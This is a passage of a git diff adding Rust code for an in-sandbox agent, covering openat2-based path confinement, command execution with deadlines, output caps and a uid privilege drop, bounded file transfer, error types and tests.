has nobody left to report to. + #[tokio::test] + async fn a_departed_caller_kills_the_process() { + let (sender, receiver) = mpsc::channel(FRAME_CHANNEL_DEPTH); + let produce = tokio::spawn(stream( + child(&["/bin/sh", "-c", "while true; do echo aaaaaaaa; done"]), + Duration::from_secs(30), + 1 << 30, + sender, + )); + + tokio::time::sleep(Duration::from_millis(250)).await; + assert!( + !produce.is_finished(), + "an endless command must still be running, not drained into memory" + ); + + drop(receiver); + + tokio::time::timeout(Duration::from_secs(10), produce) + .await + .expect("a command whose caller left must be killed, not left running") + .expect("the producing task must not panic"); + } + + /// Frames arrive while the process is still running. This is the property the whole-stream + /// join exists for, and the one a command that exits immediately cannot prove. + #[tokio::test] + async fn frames_arrive_before_the_process_exits() { + let (sender, mut receiver) = mpsc::channel(FRAME_CHANNEL_DEPTH); + let produce = tokio::spawn(stream( + child(&["/bin/sh", "-c", "echo first; sleep 5; echo second"]), + Duration::from_secs(30), + 1 << 20, + sender, + )); + + let first = tokio::time::timeout(Duration::from_secs(2), receiver.recv()) + .await + .expect("the first frame must arrive long before the process exits") + .expect("a frame"); + + assert!(matches!(first, ProcessFrame::Output { .. })); + + produce.abort(); + } +} diff --git a/crates/alien-sandbox-agent/Cargo.toml b/crates/alien-sandbox-agent/Cargo.toml new file mode 100644 index 000000000..5db92b684 --- /dev/null +++ b/crates/alien-sandbox-agent/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "alien-sandbox-agent" +version.workspace = true +edition.workspace = true +license-file.workspace = true + +[dependencies] +alien-core = { workspace = true, features = ["sandbox-capability", "sandbox-process"] } +alien-error = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +tokio = { workspace = true, features = ["full"] } +tracing = { workspace = true } +tracing-subscriber = { workspace = true } +base64 = { workspace = true } +bytes = { workspace = true } +chrono = { workspace = true } +futures = { workspace = true } +ed25519-compact = { workspace = true } +axum = { workspace = true, features = ["tokio", "http1", "json", "query"] } + +[[bin]] +name = "alien-sandbox-agent" +path = "src/main.rs" + +[target.'cfg(unix)'.dependencies] +libc = "0.2" + +[dev-dependencies] +tempfile = { workspace = true } +reqwest = { workspace = true, features = ["json"] } +libc = "0.2" diff --git a/crates/alien-sandbox-agent/src/confine.rs b/crates/alien-sandbox-agent/src/confine.rs new file mode 100644 index 000000000..139ed70e7 --- /dev/null +++ b/crates/alien-sandbox-agent/src/confine.rs @@ -0,0 +1,209 @@ +//! Opening a caller's path so it cannot leave the session root. +//! +//! Resolving a path and then opening it by name is check-then-use: every guard sits in the window +//! before the open, and the code being confined is running in the same guest and can drive both +//! sides of that window. `openat2` closes it by construction — the kernel resolves and opens in +//! one call, and refuses rather than following anything that would leave the root. +//! +//! `RESOLVE_BENEATH` rejects `..` and absolute paths; `RESOLVE_NO_SYMLINKS` rejects a symlink in +//! any component, including the final one; `RESOLVE_NO_MAGICLINKS` rejects `/proc/self/fd`-style +//! links. Nothing is left for a caller to race. +//! +//! Hard links are deliberately not addressed here: a link is a second name for an inode, so no +//! resolver can tell one from the file itself. The kernel's `protected_hardlinks` (1 by default, +//! and on the images this agent ships in) already refuses linking a file the caller cannot write, +//! which bounds that to files the caller could reach anyway. + +use std::io; +use std::path::Path; + +#[cfg(target_os = "linux")] +use std::os::fd::{AsRawFd, FromRawFd, OwnedFd}; + +/// `openat2` refuses to leave the directory it starts from. +#[cfg(target_os = "linux")] +const RESOLVE_NO_MAGICLINKS: u64 = 0x02; +#[cfg(target_os = "linux")] +const RESOLVE_NO_SYMLINKS: u64 = 0x04; +#[cfg(target_os = "linux")] +const RESOLVE_BENEATH: u64 = 0x08; + +/// The kernel's `struct open_how`. Declared here because the layout is stable ABI and this is the +/// only place that needs it. +#[cfg(target_os = "linux")] +#[repr(C)] +#[derive(Default)] +struct OpenHow { + flags: u64, + mode: u64, + resolve: u64, +} + +/// Strips the leading separator so a caller's `/work/x` is read as relative to the session root. +/// +/// `RESOLVE_BENEATH` refuses an absolute path outright, and a caller writing `/work/x` means the +/// session's `/work/x`, not the host's. +#[cfg(target_os = "linux")] +fn relative(requested: &str) -> &str { + requested.trim_start_matches('/') +} + +/// Opens a path beneath `root`, refusing anything that would resolve outside it. +#[cfg(target_os = "linux")] +fn open_beneath(root: &Path, requested: &str, flags: i32, mode: u32) -> io::Result { + use std::ffi::CString; + use std::os::unix::ffi::OsStrExt; + + let root_path = CString::new(root.as_os_str().as_bytes()) + .map_err(|_| io::Error::from_raw_os_error(libc::EINVAL))?; + let target = CString::new(relative(requested)) + .map_err(|_| io::Error::from_raw_os_error(libc::EINVAL))?; + + // SAFETY: a valid NUL-terminated path and a flags word; the returned fd is owned below. + let root_fd = unsafe { libc::open(root_path.as_ptr(), libc::O_PATH | libc::O_DIRECTORY) }; + if root_fd < 0 { + return Err(io::Error::last_os_error()); + } + // SAFETY: `root_fd` is a fresh, valid descriptor this function owns. + let root_fd = unsafe { OwnedFd::from_raw_fd(root_fd) }; + + let how = OpenHow { + flags: (flags | libc::O_CLOEXEC) as u64, + mode: mode as u64, + resolve: RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS | RESOLVE_NO_MAGICLINKS, + }; + + // SAFETY: `openat2` with a valid dirfd, a NUL-terminated relative path, and a correctly sized + // `open_how`. The kernel performs the whole resolution; nothing here dereferences its result. + let fd = unsafe { + libc::syscall( + libc::SYS_openat2, + root_fd.as_raw_fd(), + target.as_ptr(), + &how as *const OpenHow, + std::mem::size_of::(), + ) + }; + + if fd < 0 { + return Err(io::Error::last_os_error()); + } + + // SAFETY: `fd` is a fresh descriptor the kernel just returned to us. + Ok(unsafe { std::fs::File::from_raw_fd(fd as i32) }) +} + +/// Opens a file for reading, beneath the session root. +#[cfg(target_os = "linux")] +pub fn open_read(root: &Path, requested: &str) -> io::Result { + open_beneath(root, requested, libc::O_RDONLY, 0) +} + +/// Creates or truncates a file for writing, beneath the session root. +/// +/// `O_NOFOLLOW` is redundant next to `RESOLVE_NO_SYMLINKS` and harmless; the mode applies only +/// when the file is created, so an existing file keeps its own. +#[cfg(target_os = "linux")] +pub fn open_write(root: &Path, requested: &str) -> io::Result { + open_beneath( + root, + requested, + libc::O_WRONLY | libc::O_CREAT | libc::O_TRUNC | libc::O_NOFOLLOW, + 0o600, + ) +} + +/// Creates a directory and its parents, one confined step at a time. +/// +/// Each component is created relative to the previous one and then re-opened through the same +/// confinement, so a component swapped for a symlink mid-walk fails the next step rather than +/// redirecting it. +#[cfg(target_os = "linux")] +pub fn create_dir_all(root: &Path, requested: &str) -> io::Result<()> { + use std::ffi::CString; + use std::os::unix::ffi::OsStrExt; + + let root_path = CString::new(root.as_os_str().as_bytes()) + .map_err(|_| io::Error::from_raw_os_error(libc::EINVAL))?; + // SAFETY: a valid NUL-terminated path and a flags word. + let fd = unsafe { libc::open(root_path.as_ptr(), libc::O_PATH | libc::O_DIRECTORY) }; + if fd < 0 { + return Err(io::Error::last_os_error()); + } + // SAFETY: fresh, valid descriptor. + let mut current = unsafe { OwnedFd::from_raw_fd(fd) }; + + for component in relative(requested).split('/').filter(|part| !part.is_empty()) { + // `EXDEV` rather than `EINVAL`: this is the same refusal `RESOLVE_BENEATH` reports for a + // path that leaves the root, and callers classify the escape by errno. + if component == "." || component == ".." { + return Err(io::Error::from_raw_os_error(libc::EXDEV)); + } + + let name = CString::new(component).map_err(|_| io::Error::from_raw_os_error(libc::EINVAL))?; + + // SAFETY: a valid dirfd and NUL-terminated component name. + let made = unsafe { libc::mkdirat(current.as_raw_fd(), name.as_ptr(), 0o700) }; + if made != 0 { + let error = io::Error::last_os_error(); + if error.kind() != io::ErrorKind::AlreadyExists { + return Err(error); + } + } + + let how = OpenHow { + flags: (libc::O_PATH | libc::O_DIRECTORY | libc::O_CLOEXEC) as u64, + mode: 0, + resolve: RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS | RESOLVE_NO_MAGICLINKS, + }; + + // SAFETY: valid dirfd, NUL-terminated name, correctly sized `open_how`. + let next = unsafe { + libc::syscall( + libc::SYS_openat2, + current.as_raw_fd(), + name.as_ptr(), + &how as *const OpenHow, + std::mem::size_of::(), + ) + }; + if next < 0 { + return Err(io::Error::last_os_error()); + } + // SAFETY: fresh descriptor from the kernel; the previous one is dropped by the assignment. + current = unsafe { OwnedFd::from_raw_fd(next as i32) }; + } + + Ok(()) +} + +/// Non-Linux builds resolve and then open, which is the check-then-use this module exists to +/// avoid. The agent only ships in Linux images; this exists so the crate builds and tests on a +/// development machine, and is never the path a sandbox runs. +#[cfg(not(target_os = "linux"))] +mod fallback { + use super::*; + use crate::paths::resolve_within_root; + + /// Reports a refusal as `EXDEV`, the same errno `RESOLVE_BENEATH` returns, so callers + /// classify an escape the same way on both paths. + fn resolved(root: &Path, requested: &str) -> io::Result { + resolve_within_root(root, requested) + .map_err(|_| io::Error::from_raw_os_error(libc::EXDEV)) + } + + pub fn open_read(root: &Path, requested: &str) -> io::Result { + std::fs::File::open(resolved(root, requested)?) + } + + pub fn open_write(root: &Path, requested: &str) -> io::Result { + std::fs::File::create(resolved(root, requested)?) + } + + pub fn create_dir_all(root: &Path, requested: &str) -> io::Result<()> { + std::fs::create_dir_all(resolved(root, requested)?) + } +} + +#[cfg(not(target_os = "linux"))] +pub use fallback::{create_dir_all, open_read, open_write}; diff --git a/crates/alien-sandbox-agent/src/error.rs b/crates/alien-sandbox-agent/src/error.rs new file mode 100644 index 000000000..c2a48e54d --- /dev/null +++ b/crates/alien-sandbox-agent/src/error.rs @@ -0,0 +1,94 @@ +use alien_error::AlienErrorData; +use serde::{Deserialize, Serialize}; + +/// Errors raised by the in-sandbox agent. +#[derive(Debug, Clone, AlienErrorData, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum ErrorData { + /// A file path was refused before any filesystem access. + #[error( + code = "PATH_REFUSED", + message = "Path '{path}' refused: {reason}", + retryable = "false", + internal = "false", + http_status_code = 400 + )] + PathRefused { + /// The path as the caller supplied it + path: String, + /// Why it was refused + reason: String, + }, + + /// A request was malformed or missing a required field. + #[error( + code = "REQUEST_INVALID", + message = "Request invalid: {reason}", + retryable = "false", + internal = "false", + http_status_code = 400 + )] + RequestInvalid { + /// What was wrong with it + reason: String, + }, + + /// The agent was started with a setting missing or unusable. + #[error( + code = "AGENT_CONFIG_INVALID", + message = "Agent setting {setting} {reason}", + retryable = "false", + internal = "true" + )] + ConfigInvalid { + /// The environment variable involved + setting: String, + /// What is wrong with it + reason: String, + }, + + /// The path resolved inside the session but nothing is there. + #[error( + code = "PATH_NOT_FOUND", + message = "No such file in the sandbox: {path}", + retryable = "false", + internal = "false", + http_status_code = 404 + )] + PathNotFound { + /// The path as the caller wrote it + path: String, + }, + + /// An operation against the sandbox filesystem or process table failed. + #[error( + code = "AGENT_OPERATION_FAILED", + message = "Agent operation '{operation}' failed: {reason}", + retryable = "false", + internal = "false" + )] + OperationFailed { + /// What was being attempted + operation: String, + /// The underlying cause + reason: String, + }, + + /// The caller and the agent do not speak the same protocol version. + #[error( + code = "PROTOCOL_VERSION_MISMATCH", + message = "Caller speaks sandbox agent protocol v{requested}, this agent speaks v{supported}", + retryable = "false", + internal = "false", + http_status_code = 400 + )] + ProtocolVersionMismatch { + /// The version the caller asked for + requested: u32, + /// The version this agent implements + supported: u32, + }, +} + +/// This crate's Result type. +pub type Result = alien_error::Result; diff --git a/crates/alien-sandbox-agent/src/exec.rs b/crates/alien-sandbox-agent/src/exec.rs new file mode 100644 index 000000000..1c5d726ac --- /dev/null +++ b/crates/alien-sandbox-agent/src/exec.rs @@ -0,0 +1,502 @@ +//! Running a command inside the sandbox, framed as the protocol specifies. +//! +//! Two rules carry most of the weight, and both exist because the code being run is hostile: +//! a command **always** ends — by exit, by deadline, or by cancellation — and output is framed +//! with one sequence across both streams so a caller can reconstruct production order. + +use std::collections::BTreeMap; +use base64::engine::general_purpose::STANDARD; +use base64::Engine as _; +use std::time::Duration; + +use alien_core::sandbox_process; +use serde::{Deserialize, Serialize}; +use tokio::sync::mpsc; + +use crate::error::{ErrorData, Result}; +use alien_error::AlienError; + +/// The uid and gid a command runs as. +/// +/// Not optional, and not defaulted to the agent's own: a command running as the agent can read +/// and write the agent's binary and state, which is the escalation the split exists to prevent. +/// This type is what makes that boundary unavoidable at the call site. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct ExecIdentity { + pub uid: u32, + pub gid: u32, +} + +pub use alien_core::sandbox_process::FRAME_CHANNEL_DEPTH; + +/// A command to run. +#[derive(Debug, Clone, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct ExecRequest { + /// Command and arguments. Never a shell string — a shell would re-parse hostile input. + pub command: Vec, + /// Wall-clock ceiling in milliseconds. Required. + pub deadline_ms: u64, + /// Working directory, resolved against the session root before use. + #[serde(default)] + pub working_directory: Option, + /// Environment for the command. The agent's own environment is never inherited, so this is + /// everything the command gets beyond `PATH`. + #[serde(default)] + pub env: BTreeMap, +} + +/// One frame of output, serialized as a line of NDJSON. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +#[serde(rename_all = "camelCase", tag = "t")] +pub enum Frame { + /// Bytes from stdout + Stdout { + /// Monotonic across both streams + seq: u64, + /// Base64, because output is arbitrary bytes rather than UTF-8 + data: String, + }, + /// Bytes from stderr + Stderr { + /// Monotonic across both streams + seq: u64, + /// Base64 + data: String, + }, + /// The command finished. Exactly one terminal frame, always last. + Exit { + /// Process exit code + code: i32, + /// Set when output was cut short by a bound rather than by the command ending + truncated: bool, + }, + /// The command did not finish. Also terminal. + Error { + /// Machine-readable cause, e.g. `deadlineExceeded` + code: String, + /// Human-readable detail + message: String, + }, +} + +impl Frame { + fn stdout(seq: u64, data: String) -> Self { + Self::Stdout { seq, data } + } + + fn stderr(seq: u64, data: String) -> Self { + Self::Stderr { seq, data } + } +} + +impl ExecRequest { + /// Rejects a request the agent must not act on. + /// + /// A zero deadline is refused rather than defaulted: a defaulted deadline is a hang waiting + /// for a slow day, and this process shares a machine with the workload that asked for it. + pub fn validate(&self) -> Result<()> { + if self.command.is_empty() { + return Err(invalid("command is empty")); + } + + if self.deadline_ms == 0 { + return Err(invalid("a command must carry a non-zero deadline")); + } + + // JSON can carry a NUL, and std panics rather than erroring when building an + // environment from a string with an interior NUL. `=` in a key is the same shape of + // problem: it would split into a variable the caller did not name. + for (key, value) in &self.env { + if key.contains('\0') || value.contains('\0') { + return Err(invalid("an environment entry contains a NUL byte")); + } + if key.is_empty() || key.contains('=') { + return Err(invalid("an environment name must be non-empty and contain no '='")); + } + } + + Ok(()) + } +} + +/// Runs a command, sending its frames as they are produced. +/// +/// `output_cap` bounds how many bytes of each stream are kept. Beyond it the command still runs +/// to completion — killing it on a chatty log would be a surprising failure — but the extra +/// output is dropped and the terminal frame is marked `truncated`. +/// +/// **Backpressure is the send.** `frames` is bounded, so a command that writes faster than the +/// caller reads blocks this task rather than growing a buffer. A dropped receiver means the +/// caller went away, and the command is killed rather than left running for nobody. +pub async fn stream( + request: &ExecRequest, + working_directory: Option<&std::path::Path>, + identity: ExecIdentity, + output_cap: usize, + frames: mpsc::Sender, +) { + if let Err(error) = request.validate() { + let _ = frames + .send(Frame::Error { + code: "requestInvalid".to_string(), + message: error.to_string(), + }) + .await; + return; + } + + let Ok(mut command) = sandbox_process::spawn_sandboxed( + &request.command[0], + &request.command[1..].to_vec(), + &request.env, + ) else { + let _ = frames + .send(Frame::Error { + code: "spawnFailed".to_string(), + message: "command could not be prepared".to_string(), + }) + .await; + return; + }; + + // Where a PID namespace is available the drop moves inside it, because `std` applies + // `Command::uid` before `pre_exec` runs and an unprivileged process cannot unshare. + if crate::pid_namespace::available() { + crate::pid_namespace::apply(&mut command, identity); + } else { + // Not `Command::uid`/`gid`: `std` applies those before `pre_exec`, which is too late to + // drop supplementary groups and too late to refuse a drop that did not take. This is the + // path every backend actually uses — no runtime grants the capability the other needs. + #[cfg(unix)] + unsafe { + command.pre_exec(move || crate::privilege::drop_to(identity)); + } + + #[cfg(not(unix))] + compile_error!("the sandbox agent runs untrusted code and requires a unix privilege drop"); + } + + if let Some(directory) = working_directory { + command.current_dir(directory); + } + + let child = match command.spawn() { + Ok(child) => child, + Err(error) => { + let _ = frames + .send(Frame::Error { + code: "spawnFailed".to_string(), + message: error.to_string(), + }) + .await; + return; + } + }; + + // The framing itself is shared with the GCP binding, which runs commands through a launcher + // CLI rather than in-guest. Only the wire type differs, and it differs here. + let (raw, mut incoming) = mpsc::channel(FRAME_CHANNEL_DEPTH); + let produce = sandbox_process::stream( + child, + Duration::from_millis(request.deadline_ms), + output_cap, + raw, + ); + + // `incoming` is moved in so it is dropped the moment forwarding stops. Holding it would + // leave the producer writing into a channel nobody reads, which is exactly the runaway a + // departed caller is supposed to end. + let forward = async move { + while let Some(frame) = incoming.recv().await { + if frames.send(Frame::from(frame)).await.is_err() { + break; + } + } + }; + + tokio::join!(produce, forward); +} + +impl From for Frame { + fn from(frame: sandbox_process::ProcessFrame) -> Self { + use sandbox_process::{ProcessFrame, ProcessStream}; + + match frame { + ProcessFrame::Output { + seq, + stream: ProcessStream::Stdout, + data, + } => Frame::stdout(seq, encode(&data)), + ProcessFrame::Output { + seq, + stream: ProcessStream::Stderr, + data, + } => Frame::stderr(seq, encode(&data)), + ProcessFrame::Exit { code, truncated } => Frame::Exit { code, truncated }, + ProcessFrame::Failed { code, message } => Frame::Error { + code: code.to_string(), + message, + }, + } + } +} + +/// Runs a command and collects every frame it produced. +/// +/// The bounded channel is what makes this safe to use on unbounded output: [`stream`] blocks on +/// a full channel rather than buffering, and the cap still applies to what is kept. +pub async fn run( + request: &ExecRequest, + working_directory: Option<&std::path::Path>, + identity: ExecIdentity, + output_cap: usize, +) -> Vec { + let (sender, mut receiver) = mpsc::channel(FRAME_CHANNEL_DEPTH); + + let produce = stream(request, working_directory, identity, output_cap, sender); + let consume = async { + let mut frames = Vec::new(); + while let Some(frame) = receiver.recv().await { + frames.push(frame); + } + frames + }; + + let (_, frames) = tokio::join!(produce, consume); + frames +} + +fn encode(bytes: &[u8]) -> String { + STANDARD.encode(bytes) +} + +fn invalid(reason: &str) -> AlienError { + AlienError::new(ErrorData::RequestInvalid { + reason: reason.to_string(), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn request(command: &[&str], deadline_ms: u64) -> ExecRequest { + ExecRequest { + command: command.iter().map(|s| s.to_string()).collect(), + deadline_ms, + working_directory: None, + env: BTreeMap::new(), + } + } + + /// The uid the test process already has. Setting a uid to its own is permitted unprivileged, + /// so this exercises the real drop path without needing root. + fn same_identity() -> ExecIdentity { + #[cfg(unix)] + unsafe { + ExecIdentity { + uid: libc::getuid(), + gid: libc::getgid(), + } + } + #[cfg(not(unix))] + ExecIdentity { uid: 0, gid: 0 } + } + + fn terminal(frames: &[Frame]) -> &Frame { + frames.last().expect("there is always a terminal frame") + } + + #[tokio::test] + async fn a_command_produces_output_then_exactly_one_terminal_frame() { + let frames = run(&request(&["/bin/echo", "hello"], 10_000), None, same_identity(), 1 << 20).await; + + assert!(matches!(terminal(&frames), Frame::Exit { code: 0, .. })); + let terminals = frames + .iter() + .filter(|f| matches!(f, Frame::Exit { .. } | Frame::Error { .. })) + .count(); + assert_eq!(terminals, 1, "exactly one terminal frame: {frames:?}"); + } + + #[tokio::test] + async fn a_nonzero_exit_is_reported_as_its_real_code() { + let frames = run(&request(&["/bin/sh", "-c", "exit 3"], 10_000), None, same_identity(), 1 << 20).await; + assert!(matches!(terminal(&frames), Frame::Exit { code: 3, .. })); + } + + /// The deadline is enforced, not advisory — this is the rule that stops hostile code + /// occupying a session forever. + #[tokio::test] + async fn a_command_that_overruns_is_killed_and_reported() { + let frames = run(&request(&["/bin/sleep", "30"], 300), None, same_identity(), 1 << 20).await; + + match terminal(&frames) { + Frame::Error { code, .. } => assert_eq!(code, "deadlineExceeded"), + other => panic!("expected a deadline error, got {other:?}"), + } + } + + #[tokio::test] + async fn a_request_without_a_deadline_is_refused_before_spawning() { + let frames = run(&request(&["/bin/echo", "hi"], 0), None, same_identity(), 1 << 20).await; + + match terminal(&frames) { + Frame::Error { code, .. } => assert_eq!(code, "requestInvalid"), + other => panic!("a zero deadline must be refused, got {other:?}"), + } + assert_eq!(frames.len(), 1, "nothing should have been spawned"); + } + + #[tokio::test] + async fn an_empty_command_is_refused() { + let frames = run(&request(&[], 10_000), None, same_identity(), 1 << 20).await; + assert!(matches!(terminal(&frames), Frame::Error { .. })); + } + + /// Output is base64 because a command's output is arbitrary bytes. Treating it as UTF-8 + /// would corrupt binary output and hand a parse failure to hostile input. + #[tokio::test] + async fn output_is_base64_so_arbitrary_bytes_survive() { + let frames = run(&request(&["/bin/echo", "hello"], 10_000), None, same_identity(), 1 << 20).await; + + let Frame::Stdout { data, .. } = &frames[0] else { + panic!("expected stdout first, got {:?}", frames[0]); + }; + + let decoded = STANDARD.decode(data).expect("valid base64"); + assert_eq!(String::from_utf8_lossy(&decoded).trim(), "hello"); + } + + /// A chatty command is truncated rather than killed — killing on volume would be a + /// surprising failure — but the caller is told, so it never mistakes a cut for the end. + #[tokio::test] + async fn excess_output_is_truncated_and_flagged_rather_than_silently_cut() { + let frames = run( + &request(&["/bin/sh", "-c", "for i in $(seq 1 200); do echo aaaaaaaaaaaaaaaa; done"], 20_000), + None, + same_identity(), + 64, + ) + .await; + + match terminal(&frames) { + Frame::Exit { truncated, .. } => assert!(truncated, "truncation must be reported"), + other => panic!("expected an exit frame, got {other:?}"), + } + } + + /// A command writing continuously must block on the channel rather than grow a buffer. + #[tokio::test] + async fn a_continuously_writing_command_blocks_instead_of_buffering() { + let (sender, receiver) = mpsc::channel(FRAME_CHANNEL_DEPTH); + let request = request(&["/bin/sh", "-c", "while true; do echo aaaaaaaa; done"], 30_000); + + let producer = tokio::spawn(async move { + stream(&request, None, same_identity(), 1 << 30, sender).await; + }); + + tokio::time::sleep(Duration::from_millis(250)).await; + + assert!( + !producer.is_finished(), + "an endless command must still be running, not drained into memory" + ); + assert_eq!( + receiver.capacity(), + 0, + "the channel must be full: that is what makes the producer wait" + ); + + // Dropping the receiver is the caller going away, which must end the command. + drop(receiver); + tokio::time::timeout(Duration::from_secs(10), producer) + .await + .expect("a command whose caller left must be killed, not left running") + .expect("the producer task must not panic"); + } + + /// One sequence across both streams, so a caller can reconstruct production order. Two + /// independent counters could not express it. + #[tokio::test] + async fn the_sequence_is_monotonic_across_both_streams() { + let frames = run( + &request(&["/bin/sh", "-c", "echo out; echo err 1>&2"], 10_000), + None, + same_identity(), + 1 << 20, + ) + .await; + + let sequences: Vec = frames + .iter() + .filter_map(|f| match f { + Frame::Stdout { seq, .. } | Frame::Stderr { seq, .. } => Some(*seq), + _ => None, + }) + .collect(); + + let mut sorted = sequences.clone(); + sorted.sort_unstable(); + sorted.dedup(); + assert_eq!(sorted.len(), sequences.len(), "sequences must not repeat"); + } + + /// The drop is applied, not merely configured. `id -u` reports what the process actually + /// runs as, which is the only thing that answers the question. + #[cfg(unix)] + #[tokio::test] + async fn a_command_runs_as_the_configured_uid() { + let identity = same_identity(); + let frames = run(&request(&["/usr/bin/id", "-u"], 10_000), None, identity, 1 << 20).await; + + assert_eq!( + reported_uid(&frames), + identity.uid, + "the command must run as the configured uid, not the agent's" + ); + } + + /// Reads the uid a `/usr/bin/id -u` run reported on its first stdout frame. + #[cfg(unix)] + fn reported_uid(frames: &[Frame]) -> u32 { + + let Frame::Stdout { data, .. } = &frames[0] else { + panic!("expected stdout, got {:?}", frames[0]); + }; + String::from_utf8(STANDARD.decode(data).expect("base64")) + .expect("utf8") + .trim() + .parse() + .expect("a uid") + } + + /// The security-critical half. If the uid cannot be dropped, the command must **not** run — + /// falling back to the agent's uid would silently hand untrusted code the agent's privileges, + /// which is exactly the escalation the boundary exists to prevent. + #[cfg(unix)] + #[tokio::test] + async fn a_command_is_refused_when_the_uid_cannot_be_dropped() { + let nobody = ExecIdentity { uid: 65534, gid: 65534 }; + let frames = run(&request(&["/usr/bin/id", "-u"], 10_000), None, nobody, 1 << 20).await; + + // Root can drop, so the refusal cannot be provoked there. Assert the other half of the + // same invariant instead — the command never runs as the agent — so this asserts under + // either runner rather than passing vacuously in a root CI container. + if unsafe { libc::getuid() } == 0 { + assert_eq!( + reported_uid(&frames), + nobody.uid, + "a successful drop must land on the requested uid, not the agent's" + ); + return; + } + + match terminal(&frames) { + Frame::Error { code, .. } => assert_eq!(code, "spawnFailed"), + other => panic!("a failed uid drop must refuse the command, got {other:?}"), + } + assert_eq!(frames.len(), 1, "nothing may have run: {frames:?}"); + } +} diff --git a/crates/alien-sandbox-agent/src/files.rs b/crates/alien-sandbox-agent/src/files.rs new file mode 100644 index 000000000..f74584692 --- /dev/null +++ b/crates/alien-sandbox-agent/src/files.rs @@ -0,0 +1,252 @@ +//! File transfer in and out of a sandbox. +//! +//! Every path goes through [`crate::paths::resolve_within_root`] first — there is no other way +//! to reach the filesystem from here, which is the property that makes the escape rules +//! enforceable rather than merely documented. + +use std::io::{Read, Write}; +use std::path::Path; + +use crate::confine; +use crate::error::{ErrorData, Result}; +use alien_error::{AlienError, Context, IntoAlienError}; + +/// Largest single file the agent will move in either direction. +/// +/// Bounded because the caller is on the other side of a network and the sandbox is not trusted +/// to be honest about size — an unbounded read is a memory exhaustion the workload can trigger. +pub const MAX_TRANSFER_BYTES: u64 = 32 * 1024 * 1024; + +/// Reads a file out of the sandbox. +pub async fn read(root: &Path, requested: &str) -> Result> { + let root = root.to_path_buf(); + let requested = requested.to_string(); + + tokio::task::spawn_blocking(move || { + let mut file = match confine::open_read(&root, &requested) { + Ok(file) => file, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + return Err(AlienError::new(ErrorData::PathNotFound { path: requested })) + } + Err(error) => return Err(refused_or_failed(error, &requested, "opening the file")), + }; + + // Refused rather than read: a directory yields a confusing OS error, and a FIFO or device + // node is not something a caller can have meant by "read this file". + let metadata = file + .metadata() + .into_alien_error() + .context(failed("read", &requested, "inspecting the opened file"))?; + if !metadata.is_file() { + return Err(AlienError::new(ErrorData::RequestInvalid { + reason: format!("'{requested}' is not a regular file"), + })); + } + + // Bounded on the descriptor rather than trusting the size read a moment earlier: the file + // can grow between a stat and a read, and the caller is across a network. + let mut contents = Vec::new(); + let read = (&mut file) + .take(MAX_TRANSFER_BYTES + 1) + .read_to_end(&mut contents) + .into_alien_error() + .context(failed("read", &requested, "reading the file contents"))?; + + if read as u64 > MAX_TRANSFER_BYTES { + return Err(AlienError::new(ErrorData::RequestInvalid { + reason: format!( + "'{requested}' is over the {MAX_TRANSFER_BYTES} byte transfer limit" + ), + })); + } + + Ok(contents) + }) + .await + .into_alien_error() + .context(failed("read", "", "waiting for the filesystem"))? +} + +/// Writes a file into the sandbox, creating parent directories as needed. +pub async fn write(root: &Path, requested: &str, contents: &[u8]) -> Result<()> { + if contents.len() as u64 > MAX_TRANSFER_BYTES { + return Err(AlienError::new(ErrorData::RequestInvalid { + reason: format!( + "{} bytes exceeds the {MAX_TRANSFER_BYTES} byte transfer limit", + contents.len() + ), + })); + } + + let root = root.to_path_buf(); + let requested = requested.to_string(); + let contents = contents.to_vec(); + + tokio::task::spawn_blocking(move || { + if let Some(parent) = parent_of(&requested) { + confine::create_dir_all(&root, &parent).map_err(|error| { + refused_or_failed(error, &requested, "making room for the file being written") + })?; + } + + let mut file = confine::open_write(&root, &requested) + .map_err(|error| refused_or_failed(error, &requested, "opening the file for writing"))?; + + file.write_all(&contents) + .into_alien_error() + .context(failed("write", &requested, "writing the file contents")) + }) + .await + .into_alien_error() + .context(failed("write", "", "waiting for the filesystem"))? +} + +/// The directory part of a caller's path, if it names one. +fn parent_of(requested: &str) -> Option { + let trimmed = requested.trim_end_matches('/'); + let cut = trimmed.rfind('/')?; + let parent = &trimmed[..cut]; + (!parent.trim_matches('/').is_empty()).then(|| parent.to_string()) +} + +/// Creates a directory inside the sandbox. +pub async fn mkdir(root: &Path, requested: &str) -> Result<()> { + let root = root.to_path_buf(); + let requested = requested.to_string(); + + tokio::task::spawn_blocking(move || { + confine::create_dir_all(&root, &requested) + .map_err(|error| refused_or_failed(error, &requested, "creating the directory")) + }) + .await + .into_alien_error() + .context(failed("mkdir", "", "waiting for the filesystem"))? +} + +/// The kernel refuses an escape with `EXDEV`, and a symlink or `..` in the path with `ELOOP` or +/// `EXDEV` depending on which rule caught it. Those are the caller's mistake, not ours. +fn refused_or_failed(error: std::io::Error, requested: &str, purpose: &str) -> AlienError { + let raw = error.raw_os_error(); + if matches!(raw, Some(libc::EXDEV) | Some(libc::ELOOP)) { + return AlienError::new(ErrorData::PathRefused { + path: requested.to_string(), + reason: "path leaves the session root".to_string(), + }); + } + + Err::<(), std::io::Error>(error) + .into_alien_error() + .context(failed("open", requested, purpose)) + .expect_err("constructed from an error") +} + +/// `purpose` says what the step was for. The template already says it failed, and the OS-level +/// cause is preserved as the error's source. +fn failed(operation: &str, path: &str, purpose: &str) -> ErrorData { + ErrorData::OperationFailed { + operation: format!("{operation} '{path}'"), + reason: purpose.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + use tempfile::TempDir; + + fn root() -> (TempDir, PathBuf) { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path().canonicalize().expect("canonical root"); + (dir, root) + } + + #[tokio::test] + async fn a_file_round_trips() { + let (_dir, root) = root(); + + write(&root, "/work/main.py", b"print(1)") + .await + .expect("writes, creating parents"); + let read_back = read(&root, "/work/main.py").await.expect("reads"); + + assert_eq!(read_back, b"print(1)"); + } + + #[tokio::test] + async fn binary_content_survives_the_round_trip() { + let (_dir, root) = root(); + let bytes: Vec = (0u8..=255).collect(); + + write(&root, "/work/blob.bin", 